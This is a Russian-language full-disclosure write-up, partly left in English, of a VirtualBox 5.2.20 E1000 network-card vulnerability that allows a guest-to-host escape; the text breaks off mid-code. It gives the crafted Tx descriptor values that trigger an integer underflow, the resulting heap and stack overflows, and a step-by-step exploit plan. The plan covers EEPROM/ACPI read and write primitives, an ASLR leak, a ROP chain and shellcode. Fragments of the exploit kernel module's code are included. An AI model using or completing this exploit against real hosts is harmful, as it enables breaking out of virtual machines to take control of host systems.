
VirtualBox E1000: побег из гостевой системы в хост-систему
Я люблю VirtualBox, и это не связано с тем, почему я публикую 0day-уязвимость. Причина — моё несогласие с современным состоянием инфосека, особенно в области исследования безопасности и bug bounty:
Я устал от первых двух пунктов, поэтому мой шаг — полное раскрытие. Инфосек, пожалуйста, двигайся вперёд.
Уязвимое ПО: VirtualBox 5.2.20 и более ранние версии.
Хост-ОС: любая, ошибка находится в общей кодовой базе.
Гостевая ОС: любая.
Конфигурация ВМ: по умолчанию (единственное требование — сетевая карта Intel PRO/1000 MT Desktop (82540EM) и режим NAT).
Пока не вышла пропатченная сборка VirtualBox, вы можете сменить сетевую карту ваших виртуальных машин на PCnet (любую из двух) или на Paravirtualized Network. Если не можете, смените режим с NAT на другой. Первый способ безопаснее.
Сетевое устройство VirtualBox по умолчанию — Intel PRO/1000 MT Desktop (82540EM), а сетевой режим по умолчанию — NAT. Далее будем называть его E1000.
В E1000 есть уязвимость, позволяющая атакующему с правами root/administrator в гостевой системе выйти за её пределы (escape) в ring3 хоста. Затем атакующий может использовать существующие техники для повышения привилегий до ring 0 через /dev/vboxdrv.
Чтобы отправлять сетевые пакеты, гостевая система делает то же, что и обычный ПК: настраивает сетевую карту и передаёт ей сетевые пакеты. Пакеты представляют собой кадры канального уровня и другие заголовки более высокого уровня. Пакеты, передаваемые адаптеру, оборачиваются в Tx-дескрипторы (Tx означает transmit — передача). Tx-дескриптор — это структура данных, описанная в документации 82540EM (317453006EN.PDF, Revision 4.0). Она хранит такую метаинформацию, как размер пакета, VLAN-тег, флаги включения сегментации TCP/IP и так далее.
В документации 82540EM предусмотрено три типа Tx-дескрипторов: legacy, context, data. Legacy, насколько я понимаю, устарел. Два других используются вместе. Нас интересует только то, что контекстные дескрипторы задают максимальный размер пакета и включают/выключают сегментацию TCP/IP, а data-дескрипторы хранят физические адреса сетевых пакетов и их размеры. Размер пакета в data-дескрипторе должен быть меньше максимального размера пакета, заданного контекстным дескриптором. Обычно контекстные дескрипторы передаются сетевой карте перед data-дескрипторами.
Чтобы передать Tx-дескрипторы сетевой карте, гостевая система записывает их в Tx Ring. Это кольцевой буфер, расположенный в физической памяти по заранее заданному адресу. Когда все дескрипторы записаны в Tx Ring, гостевая система обновляет MMIO-регистр TDT (Transmit Descriptor Tail) сетевой карты E1000, чтобы сообщить хосту о наличии новых дескрипторов для обработки.
Рассмотрим следующий массив Tx-дескрипторов:``` [context_1, data_2, data_3, context_4, data_5]
Давайте назначим их поля структуры следующим образом (имена полей гипотетические, чтобы быть читаемыми для человека, но напрямую соответствуют спецификации 82540EM):```
context_1.header_length = 0
context_1.maximum_segment_size = 0x3010
context_1.tcp_segmentation_enabled = true
data_2.data_length = 0x10
data_2.end_of_packet = false
data_2.tcp_segmentation_enabled = true
data_3.data_length = 0
data_3.end_of_packet = true
data_3.tcp_segmentation_enabled = true
context_4.header_length = 0
context_4.maximum_segment_size = 0xF
context_4.tcp_segmentation_enabled = true
data_5.data_length = 0x4188
data_5.end_of_packet = true
data_5.tcp_segmentation_enabled = true
Мы узнаем, почему они должны быть именно такими, в нашем пошаговом анализе.
Предположим, что описанные выше дескрипторы записываются в Tx Ring в указанном порядке, и регистр TDT обновляется гостем. Теперь хост выполнит функцию e1kXmitPending в файле src/VBox/Devices/Network/DevE1000.cpp (большинство комментариев удалено и будет удалено для удобочитаемости):```c static int e1kXmitPending(PE1KSTATE pThis, bool fOnWorkerThread) { ... while (!pThis->fLocked && e1kTxDLazyLoad(pThis)) { while (e1kLocateTxPacket(pThis)) { fIncomplete = false; rc = e1kXmitAllocBuf(pThis, pThis->fGSO); if (RT_FAILURE(rc)) goto out; rc = e1kXmitPacket(pThis, fOnWorkerThread); if (RT_FAILURE(rc)) goto out; }
e1kTxDLazyLoad прочитает все 5 Tx-дескрипторов из Tx Ring. Затем e1kLocateTxPacket вызывается в первый раз. Эта функция проходит по всем дескрипторам, чтобы установить начальное состояние, но фактически не обрабатывает их. В нашем случае первый вызов e1kLocateTxPacket обработает дескрипторы context_1, data_2 и data_3. Оставшиеся два дескриптора, context_4 и data_5, будут обработаны на второй итерации цикла while (вторую итерацию мы рассмотрим в следующем разделе). Это разделение массива на две части является ключевым для срабатывания уязвимости, поэтому давайте разберёмся, почему.
e1kLocateTxPacket выглядит так:```c
static bool e1kLocateTxPacket(PE1KSTATE pThis)
{
...
for (int i = pThis->iTxDCurrent; i < pThis->nTxDFetched; ++i)
{
E1KTXDESC *pDesc = &pThis->aTxDescriptors[i];
switch (e1kGetDescType(pDesc))
{
case E1K_DTYP_CONTEXT:
e1kUpdateTxContext(pThis, pDesc);
continue;
case E1K_DTYP_LEGACY:
...
break;
case E1K_DTYP_DATA:
if (!pDesc->data.u64BufAddr || !pDesc->data.cmd.u20DTALEN)
break;
...
break;
default:
AssertMsgFailed(("Impossible descriptor type!"));
}
Первый дескриптор (context_1) относится к типу E1K_DTYP_CONTEXT, поэтому вызывается функция e1kUpdateTxContext. Эта функция обновляет контекст сегментации TCP, если для дескриптора включена сегментация TCP. Для context_1 это верно, поэтому контекст сегментации TCP будет обновлён. (Что именно представляет собой обновление контекста сегментации TCP, не важно — мы используем это лишь для ссылки на код ниже).
Второй дескриптор (data_2) относится к типу E1K_DTYP_DATA, поэтому будет выполнено несколько действий, несущественных для обсуждения.
Третий дескриптор (data_3) также относится к типу E1K_DTYP_DATA, но поскольку data_3.data_length == 0, никаких действий не выполняется.
На данный момент три дескриптора первоначально обработаны, и два остаются. Теперь вот что: после оператора switch выполняется проверка, было ли установлено поле end_of_packet у дескриптора. Для дескриптора data_3 это верно (data_3.end_of_packet == true). Код выполняет некоторые действия и возвращается из функции:```c if (pDesc->legacy.cmd.fEOP) { ... return true; }
Если бы `data_3.end_of_packet` был ложным, то оставшиеся дескрипторы `context_4` и `data_5` были бы обработаны, и уязвимость была бы обойдена. Ниже вы увидите, почему этот возврат из функции приводит к ошибке.
В конце функции `e1kLocateTxPacket` у нас есть следующие дескрипторы, готовые распаковать сетевые пакеты и отправить их в сеть: `context_1`, `data_2`, `data_3`. Затем внутренний цикл `e1kXmitPending` вызывает `e1kXmitPacket`. Эта функция перебирает все дескрипторы (в нашем случае 5), чтобы фактически обработать их:```c
static int e1kXmitPacket(PE1KSTATE pThis, bool fOnWorkerThread)
{
...
while (pThis->iTxDCurrent < pThis->nTxDFetched)
{
E1KTXDESC *pDesc = &pThis->aTxDescriptors[pThis->iTxDCurrent];
...
rc = e1kXmitDesc(pThis, pDesc, e1kDescAddr(TDBAH, TDBAL, TDH), fOnWorkerThread);
...
if (e1kGetDescType(pDesc) != E1K_DTYP_CONTEXT && pDesc->legacy.cmd.fEOP)
break;
}
Для каждого дескриптора вызывается функция e1kXmitDesc:```c static int e1kXmitDesc(PE1KSTATE pThis, E1KTXDESC *pDesc, RTGCPHYS addr, bool fOnWorkerThread) { ... switch (e1kGetDescType(pDesc)) { case E1K_DTYP_CONTEXT: ... break; case E1K_DTYP_DATA: { ... if (pDesc->data.cmd.u20DTALEN == 0 || pDesc->data.u64BufAddr == 0) { E1kLog2(("% Empty data descriptor, skipped.\n", pThis->szPrf)); } else { if (e1kXmitIsGsoBuf(pThis->CTX_SUFF(pTxSg))) { ... } else if (!pDesc->data.cmd.fTSE) { ... } else { STAM_COUNTER_INC(&pThis->StatTxPathFallback); rc = e1kFallbackAddToFrame(pThis, pDesc, fOnWorkerThread); } } ...
Первый дескриптор, переданный в e1kXmitDesc, — это context_1. Функция ничего не делает с контекстными дескрипторами.
Второй дескриптор, переданный в e1kXmitDesc, — это data\_2. Поскольку все наши дескрипторы данных имеют tcp\_segmentation\_enable == true (pDesc->data.cmd.fTSE выше), мы вызываем e1kFallbackAddToFrame, где произойдёт целочисленное переполнение вниз при обработке data\_5.```c
static int e1kFallbackAddToFrame(PE1KSTATE pThis, E1KTXDESC *pDesc, bool fOnWorkerThread)
{
...
uint16_t u16MaxPktLen = pThis->contextTSE.dw3.u8HDRLEN + pThis->contextTSE.dw3.u16MSS;
/*
* Carve out segments.
*/
int rc = VINF_SUCCESS;
do
{
/* Calculate how many bytes we have left in this TCP segment */
uint32_t cb = u16MaxPktLen - pThis->u16TxPktLen;
if (cb > pDesc->data.cmd.u20DTALEN)
{
/* This descriptor fits completely into current segment */
cb = pDesc->data.cmd.u20DTALEN;
rc = e1kFallbackAddSegment(pThis, pDesc->data.u64BufAddr, cb, pDesc->data.cmd.fEOP /*fSend*/, fOnWorkerThread);
}
else
{
...
}
pDesc->data.u64BufAddr += cb;
pDesc->data.cmd.u20DTALEN -= cb;
} while (pDesc->data.cmd.u20DTALEN > 0 && RT_SUCCESS(rc));
if (pDesc->data.cmd.fEOP)
{
...
pThis->u16TxPktLen = 0;
...
}
return VINF_SUCCESS; /// @todo consider rc;
}
The most important variables here are u16MaxPktLen, pThis->u16TxPktLen, and pDesc->data.cmd.u20DTALEN.
Let's draw a table where values of these variables are specified before and after execution of e1kFallbackAddToFrame function for the two data descriptors.
You just need to note that when data_3 is processed pThis->u16TxPktLen equals to 0x10.
Next is the most important part. Please look again at the end of the snippet of e1kXmitPacket:```c if (e1kGetDescType(pDesc) != E1K_DTYP_CONTEXT && pDesc->legacy.cmd.fEOP) break;
Поскольку тип data_3 != E1K_DTYP_CONTEXT и data_3.end_of_packet == true, мы выходим из цикла, несмотря на то, что остаются context_4 и data_5, которые ещё нужно обработать. Почему это важно? Ключ к пониманию уязвимости заключается в том, что все дескрипторы контекста обрабатываются раньше дескрипторов данных. Дескрипторы контекста обрабатываются во время обновления контекста сегментации TCP в e1kLocateTxPacket. Дескрипторы данных обрабатываются позже в цикле внутри функции e1kXmitPacket. Намерением разработчика было запретить изменение u16MaxPktLen после обработки некоторых данных, чтобы предотвратить андерфлоу целых чисел в коде:```c
uint32_t cb = u16MaxPktLen - pThis->u16TxPktLen;
Но мы можем обойти эту защиту: напомним, что в e1kLocateTxPacket мы заставили функцию вернуться из-за того, что data_3.end_of_packet == true. И из-за этого у нас остаются два дескриптора (context_4 и data_5) для обработки, несмотря на то, что pThis->u16TxPktLen равен 0x10, а не 0. Таким образом, существует возможность изменить u16MaxPktLen с помощью context_4.maximum_segment_size, чтобы вызвать целочисленное переполнение (underflow).
Теперь, когда первые три дескриптора были обработаны, мы снова попадаем во внутренний цикл e1kXmitPending:```c while (e1kLocateTxPacket(pThis)) { fIncomplete = false; rc = e1kXmitAllocBuf(pThis, pThis->fGSO); if (RT_FAILURE(rc)) goto out; rc = e1kXmitPacket(pThis, fOnWorkerThread); if (RT_FAILURE(rc)) goto out; }
Здесь мы вызываем e1kLocateTxPacket для начальной обработки дескрипторов context_4 и data_5. Было сказано, что мы можем установить context_4.maximum_segment_size в значение меньше размера уже прочитанных данных, т.е. меньше 0x10. Вспомним наши входные Tx-дескрипторы:```
context_4.header_length = 0
context_4.maximum_segment_size = 0xF
context_4.tcp_segmentation_enabled = true
data_5.data_length = 0x4188
data_5.end_of_packet = true
data_5.tcp_segmentation_enabled = true
В результате вызова e1kLocateTxPacket максимальный размер сегмента равен 0xF, тогда как размер уже прочитанных данных равен 0x10.
Наконец, при обработке data_5 мы снова попадаем в e1kFallbackAddToFrame и имеем следующие значения переменных:
| Дескриптор Tx | До/После | u16MaxPktLen | pThis->u16TxPktLen | pDesc->data.cmd.u20DTALEN |
|---|
И, следовательно, мы имеем целочисленное переполнение вниз:```c uint32_t cb = u16MaxPktLen - pThis->u16TxPktLen; => uint32_t cb = 0xF - 0x10 = 0xFFFFFFFF;
Это делает следующую проверку истинной, поскольку 0xFFFFFFFF > 0x4188:```c
if (cb > pDesc->data.cmd.u20DTALEN)
{
cb = pDesc->data.cmd.u20DTALEN;
rc = e1kFallbackAddSegment(pThis, pDesc->data.u64BufAddr, cb, pDesc->data.cmd.fEOP /*fSend*/, fOnWorkerThread);
}
e1kFallbackAddSegment function will be called with size 0x4188. Without the vulnerability it's impossible to call e1kFallbackAddSegment with a size greater than 0x3FA0 (E1K_MAX_TX_PKT_SIZE == 0x3FA0) because, during the TCP Segmentation Context Update in e1kUpdateTxContext, there is a check that the maximum segment size is less or equal to 0x3FA0:```c DECLINLINE(void) e1kUpdateTxContext(PE1KSTATE pThis, E1KTXDESC *pDesc) { ... uint32_t cbMaxSegmentSize = pThis->contextTSE.dw3.u16MSS + pThis->contextTSE.dw3.u8HDRLEN + 4; /VTAG/ if (RT_UNLIKELY(cbMaxSegmentSize > E1K_MAX_TX_PKT_SIZE)) { pThis->contextTSE.dw3.u16MSS = E1K_MAX_TX_PKT_SIZE - pThis->contextTSE.dw3.u8HDRLEN - 4; /VTAG/ ... }
### Переполнение буфера
Мы вызвали e1kFallbackAddSegment с размером 0x4188. Как этим можно злоупотребить? Я нашёл по крайней мере две возможности. Во-первых, данные будут читаться из гостевой системы в буфер в куче:```c
static int e1kFallbackAddSegment(PE1KSTATE pThis, RTGCPHYS PhysAddr, uint16_t u16Len, bool fSend, bool fOnWorkerThread)
{
...
PDMDevHlpPhysRead(pThis->CTX_SUFF(pDevIns), PhysAddr,
pThis->aTxPacketFallback + pThis->u16TxPktLen, u16Len);
Здесь pThis->aTxPacketFallback — это буфер размером 0x3FA0, а u16Len равен 0x4188 — очевидное переполнение, которое может привести, например, к перезаписи указателей на функции.
Во-вторых, если копнуть глубже, мы обнаружили, что e1kFallbackAddSegment вызывает e1kTransmitFrame, которая при определённой конфигурации регистров E1000 может вызвать функцию e1kHandleRxPacket. Эта функция выделяет стековый буфер размером 0x4000 и затем копирует данные указанной длины (в нашем случае 0x4188) в буфер без какой-либо проверки:```c static int e1kHandleRxPacket(PE1KSTATE pThis, const void *pvBuf, size_t cb, E1KRXDST status) { #if defined(IN_RING3) uint8_t rxPacket[E1K_MAX_RX_PKT_SIZE]; ... if (status.fVP) { ... } else memcpy(rxPacket, pvBuf, cb);
Как видите, мы превратили целочисленный андерфлоу в классическое переполнение буфера стека. Два переполнения выше — кучи и стека — используются в эксплойте.
## Эксплойт
Эксплойт представляет собой модуль ядра Linux (LKM), загружаемый в гостевую ОС. В случае Windows потребовался бы драйвер, отличающийся от LKM лишь обёрткой инициализации и вызовами API ядра.
Для загрузки драйвера в обеих ОС требуются повышенные привилегии. Это обычное дело и не считается непреодолимым препятствием. Взгляните на конкурс Pwn2Own, где исследователи используют цепочки эксплойтов: эксплуатируется браузер, открывший вредоносный веб-сайт в гостевой ОС, выполняется побег из песочницы браузера для получения полного доступа к ring 3, эксплуатируется уязвимость операционной системы, чтобы проложить путь к ring 0, откуда есть всё необходимое для атаки на гипервизор из гостевой ОС.
Самые мощные уязвимости гипервизора, безусловно, те, которые можно эксплуатировать из гостевого ring 3. В VirtualBox также есть код, доступный без root-привилегий гостя, и он в основном ещё не проверен аудитом.
Эксплойт надёжен на 100%. Это означает, что он либо всегда работает, либо не работает никогда из-за несовпадающих бинарников или других, более тонких причин, которые я не учёл. Он работает, по крайней мере, на гостевых системах Ubuntu 16.04 и 18.04 x86_64 с конфигурацией по умолчанию.
### Алгоритм эксплуатации
1) Атакующий выгружает e1000.ko, загружаемый по умолчанию в гостевых Linux, и загружает LKM эксплойта.
2) LKM инициализирует E1000 в соответствии с техническим описанием. Инициализируется только передающая половина, поскольку в приёмной нет необходимости.
3) Шаг 1: утечка информации.
1) LKM отключает режим loopback E1000, чтобы сделать код переполнения буфера стека недоступным.
2) LKM использует уязвимость целочисленного андерфлоу, чтобы вызвать переполнение буфера кучи.
3) Переполнение буфера кучи позволяет использовать EEPROM E1000 для записи двух произвольных байтов относительно буфера кучи в диапазоне 128 КБ. Таким образом, атакующий получает примитив записи.
4) LKM использует примитив записи 8 раз, чтобы записать байты в структуру данных ACPI (усовершенствованный интерфейс конфигурации и управления питанием) в куче. Байты записываются в переменную индекса буфера кучи, из которого будет прочитан один байт. Поскольку размер буфера меньше максимального значения индекса (255), атакующий может читать за пределами буфера, тем самым получая примитив чтения.
5) LKM использует примитив чтения 8 раз для доступа к ACPI и получения 8 байт из кучи. Эти байты являются указателем на общую библиотеку VBoxDD.so.
6) LKM вычитает RVA из указателя, чтобы получить базовый адрес образа VBoxDD.so.
4) Шаг 2: переполнение буфера стека.
1) LKM включает режим loopback E1000, чтобы сделать код переполнения буфера стека достижимым.
2) LKM использует уязвимость целочисленного андерфлоу, чтобы вызвать переполнение буфера кучи и переполнение буфера стека. Сохранённый обратный адрес (RIP/EIP) перезаписывается. Атакующий получает контроль.
3) Выполняется ROP-цепочка для запуска загрузчика шелл-кода.
5) Шаг 3: шелл-код.
1) Загрузчик шелл-кода копирует шелл-код со стека рядом с самим собой. Шелл-код выполняется.
2) Шелл-код выполняет системные вызовы fork и execve для запуска произвольного процесса на стороне хоста.
3) Родительский процесс продолжает своё выполнение.
6) Атакующий выгружает LKM и загружает e1000.ko обратно, чтобы позволить гостю использовать сеть.
### Инициализация
LKM отображает физическую память, соответствующую MMIO E1000. Физический адрес и размер заранее определены гипервизором.```c
void* map_mmio(void) {
off_t pa = 0xF0000000;
size_t len = 0x20000;
void* va = ioremap(pa, len);
if (!va) {
printk(KERN_INFO PFX"ioremap failed to map MMIO\n");
return NULL;
}
return va;
}
Затем настраиваются регистры общего назначения E1000, выделяется память для Tx Ring, настраиваются регистры передачи.```c void e1000_init(void* mmio) { // Configure general purpose registers
configure_CTRL(mmio);
// Configure TX registers
g_tx_ring = kmalloc(MAX_TX_RING_SIZE, GFP_KERNEL);
if (!g_tx_ring) {
printk(KERN_INFO PFX"Failed to allocate TX Ring\n");
return;
}
configure_TDBAL(mmio);
configure_TDBAH(mmio);
configure_TDLEN(mmio);
configure_TCTL(mmio);
}
### Обход ASLR
#### Примитив записи
С самого начала разработки эксплойта я решил не использовать примитивы, найденные в службах, отключённых по умолчанию. Это означает, в первую очередь, службу Chromium (не браузер), которая обеспечивает 3D-ускорение и в которой за последний год исследователи обнаружили более 40 уязвимостей.
Проблема заключалась в поиске утечки информации в подсистемах VirtualBox, включённых по умолчанию. Очевидная мысль заключалась в том, что если целочисленный underflow позволяет переполнить буфер в куче, то мы контролируем всё, что находится за пределами буфера. Как мы увидим, для этого не потребовалась ни одна дополнительная уязвимость: целочисленный underflow оказался достаточно мощным, чтобы вывести из него примитивы чтения, записи и утечки информации, не говоря уже о переполнении буфера стека.
Давайте посмотрим, что именно переполняется в куче.```c
/**
* Device state structure.
*/
struct E1kState_st
{
...
uint8_t aTxPacketFallback[E1K_MAX_TX_PKT_SIZE];
...
E1kEEPROM eeprom;
...
}
Здесь aTxPacketFallback — это буфер размером 0x3FA0, который будет переполнен байтами, скопированными из дескриптора данных. В поисках интересных полей после буфера я пришёл к структуре E1kEEPROM, которая содержит другую структуру со следующими полями (src/VBox/Devices/Network/DevE1000.cpp):```c /**
Как можно ими воспользоваться? В E1000 реализованы EEPROM и память вторичного адаптера. Гостевая ОС может получить к ним доступ через MMIO-регистры E1000. EEPROM реализован в виде конечного автомата с несколькими состояниями и выполняет четыре действия. Нас интересует только «запись в память». Вот как это выглядит (src/VBox/Devices/Network/DevEEPROM.cpp):```c
EEPROM93C46::State EEPROM93C46::opWrite()
{
storeWord(m_u16Addr, m_u16Word);
return WAITING_CS_FALL;
}
void EEPROM93C46::storeWord(uint32_t u32Addr, uint16_t u16Value)
{
if (m_fWriteEnabled) {
E1kLog(("EEPROM: Stored word %04x at %08x\n", u16Value, u32Addr));
m_au16Data[u32Addr] = u16Value;
}
m_u16Mask = DATA_MSB;
}
Здесь m_u16Addr, m_u16Word и m_fWriteEnabled являются полями структуры EEPROM93C46, которую мы контролируем. Мы можем исказить их таким образом, что```c m_au16Data[u32Addr] = u16Value;
statement запишет два байта по произвольному 16-битному смещению от m_au16Data, которое также находится в структуре. Мы нашли примитив записи.
#### Примитив чтения
Следующей задачей было найти структуры данных в куче, чтобы записывать в них произвольные данные, преследуя главную цель — утечку указателя на разделяемую библиотеку и получение её базового адреса. К счастью, прибегать к нестабильному heap spray не потребовалось, поскольку основные структуры данных виртуальных устройств, как оказалось, выделяются из внутренней кучи гипервизора таким образом, что расстояние между ними всегда постоянно, несмотря на то, что их виртуальные адреса, конечно, рандомизируются с помощью ASLR.
Когда запускается виртуальная машина, подсистема PDM (Pluggable Device and Driver Manager) выделяет объекты PDMDEVINS в куче гипервизора.```c
int pdmR3DevInit(PVM pVM)
{
...
PPDMDEVINS pDevIns;
if (paDevs[i].pDev->pReg->fFlags & (PDM_DEVREG_FLAGS_RC | PDM_DEVREG_FLAGS_R0))
rc = MMR3HyperAllocOnceNoRel(pVM, cb, 0, MM_TAG_PDM_DEVICE, (void **)&pDevIns);
else
rc = MMR3HeapAllocZEx(pVM, MM_TAG_PDM_DEVICE, cb, (void **)&pDevIns);
...
Я отследил этот код под GDB с помощью скрипта и получил следующие результаты:``` [trace-device-constructors] Constructing a device #0x0: [trace-device-constructors] Name: "pcarch", '\000' <repeats 25 times> [trace-device-constructors] Description: 0x7fc44d6f125a "PC Architecture Device" [trace-device-constructors] Constructor: {int (PPDMDEVINS, int, PCFGMNODE)} 0x7fc44d57517b <pcarchConstruct(PPDMDEVINS, int, PCFGMNODE)> [trace-device-constructors] Instance: 0x7fc45486c1b0 [trace-device-constructors] Data size: 0x8
[trace-device-constructors] Constructing a device #0x1: [trace-device-constructors] Name: "pcbios", '\000' <repeats 25 times> [trace-device-constructors] Description: 0x7fc44d6ef37b "PC BIOS Device" [trace-device-constructors] Constructor: {int (PPDMDEVINS, int, PCFGMNODE)} 0x7fc44d56bd3b <pcbiosConstruct(PPDMDEVINS, int, PCFGMNODE)> [trace-device-constructors] Instance: 0x7fc45486c720 [trace-device-constructors] Data size: 0x11e8
...
[trace-device-constructors] Constructing a device #0xe: [trace-device-constructors] Name: "e1000", '\000' <repeats 26 times> [trace-device-constructors] Description: 0x7fc44d70c6d0 "Intel PRO/1000 MT Desktop Ethernet.\n" [trace-device-constructors] Constructor: {int (PPDMDEVINS, int, PCFGMNODE)} 0x7fc44d622969 <e1kR3Construct(PPDMDEVINS, int, PCFGMNODE)> [trace-device-constructors] Instance: 0x7fc470083400 [trace-device-constructors] Data size: 0x53a0
[trace-device-constructors] Constructing a device #0xf: [trace-device-constructors] Name: "ichac97", '\000' <repeats 24 times> [trace-device-constructors] Description: 0x7fc44d716ac0 "ICH AC'97 Audio Controller" [trace-device-constructors] Constructor: {int (PPDMDEVINS, int, PCFGMNODE)} 0x7fc44d66a90f <ichac97R3Construct(PPDMDEVINS, int, PCFGMNODE)> [trace-device-constructors] Instance: 0x7fc470088b00 [trace-device-constructors] Data size: 0x1848
[trace-device-constructors] Constructing a device #0x10: [trace-device-constructors] Name: "usb-ohci", '\000' <repeats 23 times> [trace-device-constructors] Description: 0x7fc44d707025 "OHCI USB controller.\n" [trace-device-constructors] Constructor: {int (PPDMDEVINS, int, PCFGMNODE)} 0x7fc44d5ea841 <ohciR3Construct(PPDMDEVINS, int, PCFGMNODE)> [trace-device-constructors] Instance: 0x7fc47008a4e0 [trace-device-constructors] Data size: 0x1728
[trace-device-constructors] Constructing a device #0x11: [trace-device-constructors] Name: "acpi", '\000' <repeats 27 times> [trace-device-constructors] Description: 0x7fc44d6eced8 "Advanced Configuration and Power Interface" [trace-device-constructors] Constructor: {int (PPDMDEVINS, int, PCFGMNODE)} 0x7fc44d563431 <acpiR3Construct(PPDMDEVINS, int, PCFGMNODE)> [trace-device-constructors] Instance: 0x7fc47008be70 [trace-device-constructors] Data size: 0x1570
[trace-device-constructors] Constructing a device #0x12: [trace-device-constructors] Name: "GIMDev", '\000' <repeats 25 times> [trace-device-constructors] Description: 0x7fc44d6f17fa "VirtualBox GIM Device" [trace-device-constructors] Constructor: {int (PPDMDEVINS, int, PCFGMNODE)} 0x7fc44d575cde <gimdevR3Construct(PPDMDEVINS, int, PCFGMNODE)> [trace-device-constructors] Instance: 0x7fc47008dba0 [trace-device-constructors] Data size: 0x90
[trace-device-constructors] Instances: [trace-device-constructors] #0x0 Address: 0x7fc45486c1b0 [trace-device-constructors] #0x1 Address 0x7fc45486c720 differs from previous by 0x570 [trace-device-constructors] #0x2 Address 0x7fc4700685f0 differs from previous by 0x1b7fbed0 [trace-device-constructors] #0x3 Address 0x7fc4700696d0 differs from previous by 0x10e0 [trace-device-constructors] #0x4 Address 0x7fc47006a0d0 differs from previous by 0xa00 [trace-device-constructors] #0x5 Address 0x7fc47006a450 differs from previous by 0x380 [trace-device-constructors] #0x6 Address 0x7fc47006a920 differs from previous by 0x4d0 [trace-device-constructors] #0x7 Address 0x7fc47006ad50 differs from previous by 0x430 [trace-device-constructors] #0x8 Address 0x7fc47006b240 differs from previous by 0x4f0 [trace-device-constructors] #0x9 Address 0x7fc4548ec9a0 differs from previous by 0x-1b77e8a0 [trace-device-constructors] #0xa Address 0x7fc470075f90 differs from previous by 0x1b7895f0 [trace-device-constructors] #0xb Address 0x7fc488022000 differs from previous by 0x17fac070 [trace-device-constructors] #0xc Address 0x7fc47007cf80 differs from previous by 0x-17fa5080 [trace-device-constructors] #0xd Address 0x7fc4700820f0 differs from previous by 0x5170 [trace-device-constructors] #0xe Address 0x7fc470083400 differs from previous by 0x1310 [trace-device-constructors] #0xf Address 0x7fc470088b00 differs from previous by 0x5700 [trace-device-constructors] #0x10 Address 0x7fc47008a4e0 differs from previous by 0x19e0 [trace-device-constructors] #0x11 Address 0x7fc47008be70 differs from previous by 0x1990 [trace-device-constructors] #0x12 Address 0x7fc47008dba0 differs from previous by 0x1d30
Обратите внимание на устройство E1000 в позиции #0xE. Во втором списке видно, что следующее устройство находится на смещении 0x5700 от E1000, следующее — на 0x19E0 и так далее. Как уже говорилось, эти расстояния всегда одинаковы, и именно в этом заключается наша возможность для эксплуатации.
Устройства, следующие за E1000, — это ICH IC'97, OHCI, ACPI, VirtualBox GIM. Изучив их структуры данных, я понял, как использовать примитив записи.
При загрузке виртуальной машины создаётся устройство ACPI (src/VBox/Devices/PC/DevACPI.cpp):```c
typedef struct ACPIState
{
...
uint8_t au8SMBusBlkDat[32];
uint8_t u8SMBusBlkIdx;
uint32_t uPmTimeOld;
uint32_t uPmTimeA;
uint32_t uPmTimeB;
uint32_t Alignment5;
} ACPIState;
Для диапазона 0x4100-0x410F зарегистрирован обработчик ввода/вывода ACPI-порта. В случае порта 0x4107 имеем:```c PDMBOTHCBDECL(int) acpiR3SMBusRead(PPDMDEVINS pDevIns, void *pvUser, RTIOPORT Port, uint32_t *pu32, unsigned cb) { RT_NOREF1(pDevIns); ACPIState *pThis = (ACPIState *)pvUser; ... switch (off) { ... case SMBBLKDAT_OFF: *pu32 = pThis->au8SMBusBlkDat[pThis->u8SMBusBlkIdx]; pThis->u8SMBusBlkIdx++; pThis->u8SMBusBlkIdx &= sizeof(pThis->au8SMBusBlkDat) - 1; break; ...
Когда гостевая ОС выполняет инструкцию INB(0x4107) для чтения одного байта из порта, обработчик берёт один байт из массива au8SMBusBlkDat[32] по индексу u8SMBusBlkIdx и возвращает его гостевой системе. И вот как применить примитив записи: поскольку расстояние между heap-блоками виртуальных устройств постоянно, расстояние от массива EEPROM93C46.m_au16Data до ACPIState.u8SMBusBlkIdx тоже постоянно. Записывая два байта в ACPIState.u8SMBusBlkIdx, мы можем читать произвольные данные в диапазоне 255 байт из ACPIState.au8SMBusBlkDat.
Есть одно препятствие. Взглянув на структуру ACPIState, можно заметить, что массив расположен в конце структуры. Остальные поля бесполезны для утечки. Итак, давайте посмотрим, что находится после структуры:```
gef➤ x/16gx (ACPIState*)(0x7fc47008be70+0x100)+1
0x7fc47008d4e0: 0xffffe98100000090 0xfffd9b2000000000
0x7fc47008d4f0: 0x00007fc470067a00 0x00007fc470067a00
0x7fc47008d500: 0x00000000a0028a00 0x00000000000e0000
0x7fc47008d510: 0x00000000000e0fff 0x0000000000001000
0x7fc47008d520: 0x000000ff00000002 0x0000100000000000
0x7fc47008d530: 0x00007fc47008c358 0x00007fc44d6ecdc6
0x7fc47008d540: 0x0031000035944000 0x00000000000002b8
0x7fc47008d550: 0x00280001d3878000 0x0000000000000000
gef➤ x/s 0x00007fc44d6ecdc6
0x7fc44d6ecdc6: "ACPI RSDP"
gef➤ vmmap VBoxDD.so
Start End Offset Perm Path
0x00007fc44d4f3000 0x00007fc44d768000 0x0000000000000000 r-x /home/user/src/VirtualBox-5.2.20/out/linux.amd64/release/bin/VBoxDD.so
0x00007fc44d768000 0x00007fc44d968000 0x0000000000275000 --- /home/user/src/VirtualBox-5.2.20/out/linux.amd64/release/bin/VBoxDD.so
0x00007fc44d968000 0x00007fc44d977000 0x0000000000275000 r-- /home/user/src/VirtualBox-5.2.20/out/linux.amd64/release/bin/VBoxDD.so
0x00007fc44d977000 0x00007fc44d980000 0x0000000000284000 rw- /home/user/src/VirtualBox-5.2.20/out/linux.amd64/release/bin/VBoxDD.so
gef➤ p 0x00007fc44d6ecdc6 - 0x00007fc44d4f3000
$2 = 0x1f9dc6
Похоже, существует указатель на строку, размещённый по фиксированному смещению от базового образа VBoxDD.so. Указатель находится по смещению 0x58 в конце ACPIState. Мы можем прочитать этот указатель побайтово с помощью примитивов и в итоге получить базовый адрес образа VBoxDD.so. Остаётся надеяться, что данные после структуры ACPIState не случайны при каждой загрузке виртуальной машины. Будем надеяться, что это не так; указатель по смещению 0x58 присутствует всегда.
Теперь объединим примитивы записи и чтения и используем их для обхода ASLR. Мы переполним кучу, перезаписав структуру EEPROM93C46, затем запустим конечный автомат EEPROM, чтобы записать индекс в структуру ACPIState, а затем выполним INB(0x4107) в гостевой системе для доступа к ACPI и чтения одного байта указателя. Повторим эти действия 8 раз, увеличивая индекс на 1.```c uint64_t stage_1_main(void* mmio, void* tx_ring) { printk(KERN_INFO PFX"##### Stage 1 #####\n");
// When loopback mode is enabled data (network packets actually) of every Tx Data Descriptor
